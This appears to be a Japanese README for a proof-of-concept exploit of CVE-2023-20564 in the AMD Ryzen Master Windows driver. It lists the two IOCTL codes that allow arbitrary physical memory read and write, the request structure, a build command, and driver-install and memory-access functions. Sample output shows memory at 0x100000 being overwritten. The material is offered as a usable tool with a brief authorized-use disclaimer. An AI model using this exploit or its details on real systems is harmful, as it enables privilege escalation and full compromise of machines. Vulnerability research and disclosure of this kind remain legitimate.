
CVE-2023-20564の概念実証エクスプロイト。AMD Ryzen MasterドライバのIOCTLハンドラを介して任意の物理メモリの読み取り/書き込みを実証し、Windows上で権限昇格を可能にします。
このリポジトリには、AMD Ryzen Master ドライバの脆弱性 CVE-2023-20564 を実証する概念実証 (PoC) が含まれています。この脆弱性により、非特権ユーザーが任意の物理メモリを読み書きでき、特権昇格やシステム侵害の可能性が生じます。
AMD Ryzen Master ドライバ (AMDRyzenMasterDriverV17.sys) は、IOCTL ハンドラ内で検証が不十分であり、具体的には次のとおりです。
0x81112F08 - 任意の物理メモリの読み取りを許可0x81112F0C - 任意の物理メモリの書き込みを許可ドライバは以下を適切に検証できません。
これにより、悪意のあるアプリケーションが以下を実行できます。
AMDRyzenMasterDriverV17.sys - 脆弱なドライバファイル# manually
g++ -std=c++17 poc_demo.cpp -o poc_demo.exe -ladvapi32
typedef struct _AMDReadStructure {
LARGE_INTEGER PhysAddr; // Physical address to read
LARGE_INTEGER SizeAndData; // Size and data buffer
CHAR Buffer[1]; // Variable data buffer
} AMDReadStructure, *PAMDReadStructure;
ReadPhysicalMemory() - 物理メモリからの読み取りWritePhysicalMemory() - 物理メモリへの書き込みTestReadWriteVerify() - 完全なテストシーケンスInstallDriverService() - ドライバのインストールStopAndRemoveDriverService() - ドライバのクリーンアップ===========================================
AMD Ryzen Master Driver - Memory PoC
===========================================
[*] Installing and starting driver service...
[+] Driver file found
[+] Service created successfully
[+] Service started successfully
[*] Initializing driver connection...
[+] Driver connection established successfully
[!] TESTING READ/WRITE/VERIFY SEQUENCE
[STEP 1] Reading original data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Read 8 bytes from 0x100000
Data: 4D 5A 90 00 03 00 00 00
[STEP 2] Writing test data...
[*] Writing 8 bytes to physical address 0x100000
Data: DE AD BE EF CA FE BA BE
[*] PHYSICAL MEMORY WRITE SUCCESS!
Wrote 8 bytes to 0x100000
[STEP 3] Verifying written data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Data: DE AD BE EF CA FE BA BE
[*] DATA VERIFICATION SUCCESS! Write/Read works correctly!
脆弱なドライバは、主に2つの IOCTL を公開しています。
物理メモリ読み取り (0x81112F08)
物理メモリ書き込み (0x81112F0C)
注意: このツールは許可されたセキュリティテスト専用です。システムでテストする前に必ず適切な許可を得てください。